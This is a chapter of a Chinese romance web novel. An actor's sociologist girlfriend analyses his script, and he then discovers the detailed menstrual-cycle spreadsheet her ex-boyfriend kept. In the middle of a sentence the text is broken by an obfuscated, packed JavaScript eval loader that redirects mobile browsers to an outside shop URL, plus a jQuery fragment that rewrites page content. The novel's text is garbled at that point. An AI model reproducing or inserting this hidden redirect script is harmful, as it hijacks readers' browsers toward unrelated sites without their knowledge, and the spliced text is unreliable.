他就咽下去了，喉结一耸一耸的。
徐微俯身，湖泊般的眼睛温柔地望着他，脸上一层细碎的绒毛光彩熠熠，她指尖划过他的胸膛，低声问：“还和我生气吗？”
骆飞拨浪鼓似的摇头。
徐微笑了，指腹抵上他的唇，叹道：“我的天，你根本不知道你的嘴有多好亲。”
她再吻了吻他：“月经怎么还不走，真想现在就狠狠地办了你。”
骆飞：“？”
等一下！他悟了！
他就不应该用言情女主来套她，如果把徐微当成一个言情小说的男主，那就说得通了。
她就跟很多小说男主一样，业界精英，性.欲旺盛，对女主的生理性喜欢如同水库开闸放水，一泻千万里，奔腾不停息。
“好了，你起来吧。”徐微说，往前推了推奶茶，“你帮我把剩下的喝掉吧。”又思考了下，“你去把门打开，还是一样，注意开角必须大于45度，房间面积可视范围超过80％。”
骆飞觉得自己还是错了。
男主要像她这样，早就被评论区骂几百条了。
市场早就不流行她这款拔啥无情的霸总了！
坏！女！人！
其实骆飞对徐微来月经这件事早有预案，他想过她会肚子痛，想过她会精神不好，甚至连她因为吃冰吃辣跟他发脾气都有基本的心理准备，但徐微，她还是太生龙活虎了。
搬书上课跑调研，奶茶湘菜冰淇淋，晚上居然还有工夫帮他看剧本。
是他年后要开机的长剧《将折阙》的剧本，制片人刚把全剧三十六集剧本发过来，他仔细看了两天，用荧光笔把自己的台词都标出来，徐微在旁边看电子书，好奇小猫似的凑过来，问：“我能看看吗。”
他就给她了。
徐微翻了翻剧集简介，再前后翻了翻，扁扁嘴，把剧本还给他了。
骆飞：“你没什么想说的吗？”
“没有啊，我当故事看的。”徐微歪头，“你需要我帮你分析剧本吗？”
骆飞连忙点头：“如果你愿意的话。”
虽然他和徐微的恋爱谈的莫名其妙，但是付灵请徐微做女频剧的学术指导是非常正确的，因为徐微真的做过家庭社会学研究，并且研究的就是亲密关系。
还有顶尖产出。
在群贤毕至的社会学界，她能给一群硕士博士当恋爱军师。
这是何等的智商啊！
“我拿个笔。”徐微侧过身，从床头柜抽屉里拿了一根中性笔，边转笔边看。
这次就看得很仔细了。
标准的古偶剧本，女主是爹无视娘虐待的高门庶女，男主虽身份高贵却从小没爹没妈寄人篱下，两个原生家庭惨痛的小苦瓜经历宅斗政斗再宅斗再权谋大乱斗，顺利相爱结婚生小孩，大结局和原生家庭一起包饺子。
至于骆飞，他演男二，小时候一次宴会对女主情根深种，怎奈何竹马不敌天降，和男主雄竞八百回合后惨烈出局，打着酱油从女男主的爱情旁边路过。
他今年的流量很好，接到了一些长剧的跨界邀请，付灵对比了好几个本子，最后亲自拍板定的《将折阙》。
怎么说呢，就认定他擅长演破碎感癫子。
他也不是不能演，他是觉得这个本子有逻辑硬伤，他以前演的癫子，虽然是短剧，那也起码父母双亡、舅不疼婶不爱、被霸凌被孤立、走路上狗都能踹两脚。
虽然癫，但癫得有来处。
这个本子呢，男二有个当公主的妈，当大官的爸，家庭幸福人生美满，脑子聪明文武双全，结果见了女主就跟精神病发一样，三百多场戏，两百多场都在跟女主发癫。
癫，但不知道在癫什么，就硬癫。
“啧，这个剧本怎么写的比付灵还不讲逻辑。”徐微转着笔说。
看看，搞社会学的都这么说。
“好吧。”徐微深吸一口气，“剧本只能是这样了，我们没有改剧本的权力，只能根据剧本做演艺上的创作。当然，理论上来说，演员的二次创作是可以给文本拔高一个维度的。”
骆飞靠过去，轻倚在她的肩头：“什么二次创作？”
“深挖剧本给你的人设，让你的角色逻辑重新成立。”徐微又转了一下笔，边说边标重点，“既然剧本写了你聪明，那我们再挖得深一点，你不仅聪明，而且你早慧。你看第二集，女主的庶母为了讨好嫡母，把女主推出去冒认嫡女做的错事，女主据理力争，你被女主的坚韧倔强打动，从此爱上了女主。所以你在她面前展现出的那种霸道的、甚至病态的欲望，其实是想带她逃离原生家庭的表达变体。
“到第十集，女主因为才干得到男主赏识，男主帮助她在太妃寿宴上大放异彩，不仅女主对男主有了别样的情愫，女主的父母，尤其是父亲对女主大为改观。但你依然对女主展现一种病态到疯狂的欲望。”徐微顿了顿，继续说，“这很简单，因为你出生在一个幸福的家庭，因为你早慧，所以你看得很清楚——”
“他们爱她的社会属性，不爱她的人本质。”
豁然开朗。
三言两语，她为他的癫设计了一个来处。
徐微把“他们爱她的社会属性，不爱她的人本质”的提示词写在剧本扉页，揉揉他的头发，轻声问：“你能明白我的意思吗？”
骆飞“嗯”了一声：“我能懂，我也说不出来，我能感觉到你的意思。”
“你真是我认识的最有天赋的演员。”徐微亲了亲他的额头。
他脸红。
说起来，她总共就认识他一个演员。
哦，对，小琪最近在做田野，已经当过好几次群演了，算她认识一个半吧，骆飞腹诽。
“其实我能感受到编剧的创作野心，这几年互联网有很多关于原生家庭的讨论，文艺创作需要呼应社会共识，编剧肯定想讨论一些东西的。可是呢，她一边探讨原生家庭对人的伤害，一边又不得不让女男主回归原生家庭，所以她写得很痛苦。其原因在于，原生家庭是一个微观的心理学概念，试图用一个极小的概念还原整个社会的复杂结构，一定是缺乏解释力的。”徐微处理完他的问题，转着笔懒洋洋地分析整个剧本的创作逻辑，
“而且，剧本里的原生家庭和现代人的原生家庭不是一回事。”
骆飞努力跟上她的思路，问：“为什么不是一回事？”
“因为这是古装剧，虽然朝堂戏写得稀烂，但既然写了，就要考虑权力的逻辑，女男主回归原生家庭遵循的是利益考量，不是情感考量。”徐微说话好像根本不用思考，“现代原生家庭的矛盾症结在于，社会发展速度太快，导致两代人之间表面上二三十年的年龄差，实际社会年龄差快有两百年了。我们不能指望思维仍处于农业社会的家长和一脚跨进AI时代的孩子能够相互理解。
“当然，社会学的宏观和中观概念也不能全然解释家庭微观结构。”她顿了顿，释然笑道，“因为蠢货和坏蛋也是会生孩子的。”
骆飞的心脏剧烈地疼痛了一下。
徐微和她父母的关系非常差。
这个不是有人告诉他的，是骆飞猜的。
四年前疫情突然爆发，徐微响应国家“就地过年”的号召，独自留在云潮县过年。
他问过徐微，一个人在异乡过年会不会难受。
而徐微对此的回复是：“放心吧，我经常在田野点过年的。”
研究再忙，会忙到连回家过年的工夫都没有吗？大概率就是她自己不想回去，骆飞甚至怀疑，徐微根本就没有家。
他们此刻互相依偎的，这间老旧的过渡房，就是徐微的家。
她唯一的家。
“微微。”骆飞伸手，小狗一样摸她颈上简约的蒂芙尼项链，希冀地说，“我能为你做些什么吗？”
徐微放下剧本，低头贴贴他：“你已经为我做了很多了，我有时候都觉得你太照顾我了，我快被你照顾成笨蛋了。”
骆飞垂下眼睫：“可是你一个人也能照顾好自己的呀。”
以徐微的个性，一个人肯定也过得很快乐。
“嗯……我想起来有一件事是需要男朋友帮我做的。”徐微放下剧本，拿起手机，自说自话道，“我有一个excel表，用来记录月经周期的，不过我老是忘，如果你愿意帮我记，那就太好啦。”
“可以呀。”骆飞撑起身子，问，“我怎么记？”
徐微：“记个开始结束的日期就可以了，我来月经了会和你说的。”
不一会儿，微信【女神】向你发送了【月经记录表.xls】
骆飞打开excel表格，上下滑了滑，表格做了简单的艺术设计，横轴记录月经开始结束的日期，和每次月经的间隔时间，竖轴记录来的次数，一年一张表，总共十二张，十二年。
他看得出来，前九年是她前男友记的，后三年是徐微自己记的。
并非骆飞有“男人的直觉”，而是太明显了，前九年从她大一入学的十月份开始，到三年前四月他们分手，月经的起始结束日期，间隔天数，次次不落。
徐微记的那三年呢，刚开始还有头有尾的，之后就放飞自我了：
记了开始日期，但不记结束日期，间隔天数更是免谈，还经常忘了，忘了就不记，空着，再后面连空着都忘了，就毫无章法地乱记，滑了滑，上次记录已经是今年七月了。
这是彻底忘了。
骆飞当即确定，徐微照顾不好自己。
或者说，她对自己的照顾仅限于“维持生命体征”。
往左边用力一滑，才发现她前男友在第二年以后，在每张表格的右下侧另外列了个备注框，详细记录了女性月经的生成机制；月经期、卵泡期、排卵期、黄体期月经周期四个阶段的名词解释；女性生殖器官详解；还有徐微对青霉素过敏。
到后面，那个男人直接把备注框当备忘录用了。
徐微喜欢的进口零食、喜欢的奢牌系列、喜欢的餐厅主厨等等，有关于她的，他全都记着。
甚至在他们分手的那年，他把备注框取名为“生小微微的准备工作”，备孕清单细到连他自己每天吃多少叶酸都安排得清清楚楚。
也就是说，一定是徐微提的分手。
她在那个男人最爱的她的时候，至少是在那个男人满心憧憬地规划他们的未来的时候，突然提了分手。
骆飞手抖得快握不住手机了，他一边恐慌于那九年恋情的厚度，一边更加绝望，会不会，在他以为自己能和徐微长久幸福地走下去的某一天，徐微也会突然和他提出分手？
他滑动屏幕，压制喉咙里的颤音：“这个表格，以前是郜嘉琅帮你记的吧？”
他终于在她面前，问出了那个名字。
*
“啊？你知道他呀。”徐微愣了愣，随即恢复了一如既往的坦然，“嗯，对，以前是他帮我记的。”
骆飞咬唇：“他有个备注框的。”
“嗷，我知道。”徐微努努嘴，陷入到回忆里，“我让他帮我记了半年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568642|203610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，才发现他只知道女生来月经会流血，却不知道血是从哪里来的，是什么血。我当时觉得好丢人呀，我怎么会和这种人谈恋爱，初中生物知识都不知道，把他狠狠地骂了一顿。”
她满脸无所谓：“然后他就去做笔记了。”
骆飞意识到，尽管郜嘉琅如今在商界、财经界赫赫有名，但在十二年前，他也只是个十八九岁的男生，爱徐微爱得诚惶诚恐。
甚至很有可能，比他还诚惶诚恐。
徐微漫不经心：“我有个恋爱原则，男性提议发生性关系前，必须全面了解女性生殖系统，以及性行为的社会尺度；男女双方备孕以前，必须由男方先学习备孕知识，制定备孕计划，了解女性孕期的生理变动和医学检查信息，以及生产后女性坐月子、婴儿照顾的护理知识，一直覆盖到学龄前儿童教育理论。男方在备孕开始前学习这些知识并教会女方，女方学会了，再共同启动备孕程序。”
怪不得人家能教硕士博士谈恋爱呢。
稳、准、狠。
她挥挥手：“不过我们的性行为是我发起的，所以我对你没有前期的知识要求，但是该懂的你一定要懂，反正他记的挺完善的，你自己看着学吧。”
看着表格里周密系统的笔记，骆飞心里升起一种“前人栽树后人乘凉”的苍凉感受。
他轻声说：“他记的不止这些。”
“什么不止这些？”徐微凑过来，滑动手机屏幕，看到郜嘉琅在月经周期四个阶段旁边，细致地做了独属于她的备注：
月经期：会钙流失，带宝宝去吃好吃的，补钙。
卵泡期：喜欢蹦蹦跳跳。
排卵期：也喜欢蹦蹦跳跳，宝宝心情好就喜欢蹦蹦跳跳呢，陪她一起蹦。
最后落到黄体期那句“宝宝经前欲望比较大，要满足(?>ω
骆飞有种穿越时光钻进了他们的大床房的感受。
他没有处女情结，恰恰相反，他觉得徐微太有魅力，肯定有很多男人为她趋之若鹜，而她居然专一到能和一个男人谈九年，才令人惊奇。
他也明白，徐微没有别的意思，只是向他坦诚了一段过往。
问题就在于她太坦诚了，坦诚到他完全不知道该怎么消化了。
她哪怕稍微……稍微隐瞒一些呢？
偏过头，徐微依着他的肩，温情脉脉地注视着手机屏幕，指尖在郜嘉琅一个又一个满怀真情敲下的宋体字停留，随后垂下眼，微不可查地叹了口气。
她在现男友身边，对着无形无质的线上表格，怀念她的前男友。
骆飞的心都碎了。
“那个……不好意思啊，我不知道他写了这些。”徐微关闭界面，挪回去靠在枕头上，平淡地说，“你重新创个表格记吧。”
“好。”骆飞点头应，斟酌了一会儿开口，“你真的不知道他记了什么吗？”
徐微表情一僵，解释说：“我真的不知道，分手以后他把表格发给我，但是我从来没有往前面看过。记录月经的目的是为了生病的时候，向医生准确提供末次月经的信息，前几年的数据根本没用，我就没有往前看，而且……”她自嘲地一笑，“你知道的，我不喜欢去医院。”
骆飞默然。
“骆飞，你看上去很紧张。”徐微与他对视，郑重地问，“是因为我和郜嘉琅之前的恋爱关系吗？你觉得我还没有放下他？”
她依然坦诚到让人无法招架。
骆飞心里五味杂陈，根本不知道该怎么表达，喉结发抖：“……我说不出来，微微，我很害怕，特别害怕。”
“骆飞，不要害怕。”她压上来，捧起他的脑袋，温柔地亲吻，“你放心，已经彻底过去了，如果我没有放下他的话，不会和你开始的。”
“为什么？”他脱口而出。
徐微豁达一笑：“因为这是社会的基本规范。”
她说得云淡风轻，可骆飞分明从她的眼睛里，读出了哀伤啊。
她在这段看起来男方无可挑剔的感情里，受过很重的情伤。
可是微微啊——
如果你难过的话，为什么不和我说呢？
我知道你是思维塑造的铜墙铁壁，可是我求求你，我求求你……
你漏一点缝隙给我吧。
一点点就够了。
我求求你，我求求你……
“睡吧。”她关上灯。
一晚上辗转难眠，他知道徐微也没睡好，攥着被子翻来覆去的，午夜将将入睡，骆飞忽听见床头柜抽屉小心推拉的声音，半晌，徐微穿着睡衣出去了。
翻身试探地摸了摸，果然，藏在抽屉深处的那包微嘉卫生巾不见了。
可他能怎么办？
他能怎么办？
他想走进她的从前，但真当徐微缅怀过去的时候，他根本不敢上前。
万一……万一……他走出去陪徐微谈心，她会不会发现，眼前陪伴她的男人，只是她人生中次选的次选？
他害怕啊。
平躺在床上假寐，等了许久，徐微终于拖着满身寒气的身体回来了，她蹑手蹑脚地把微嘉卫生巾重新藏进抽屉深处，掀开被角，窸窸窣窣地钻进被窝，小猫似的抱紧他的腰，腿和他的腿搭在一起。
他“嗯”了一声，假装是在梦中，无意识搂她入怀。
徐微温冷的面颊与他的胸膛紧贴。
低头嗅了嗅，一股冰凉而刺鼻的烟草味。
她在阳台上吸了好久的烟。
天气预报说，今夜有雨夹雪。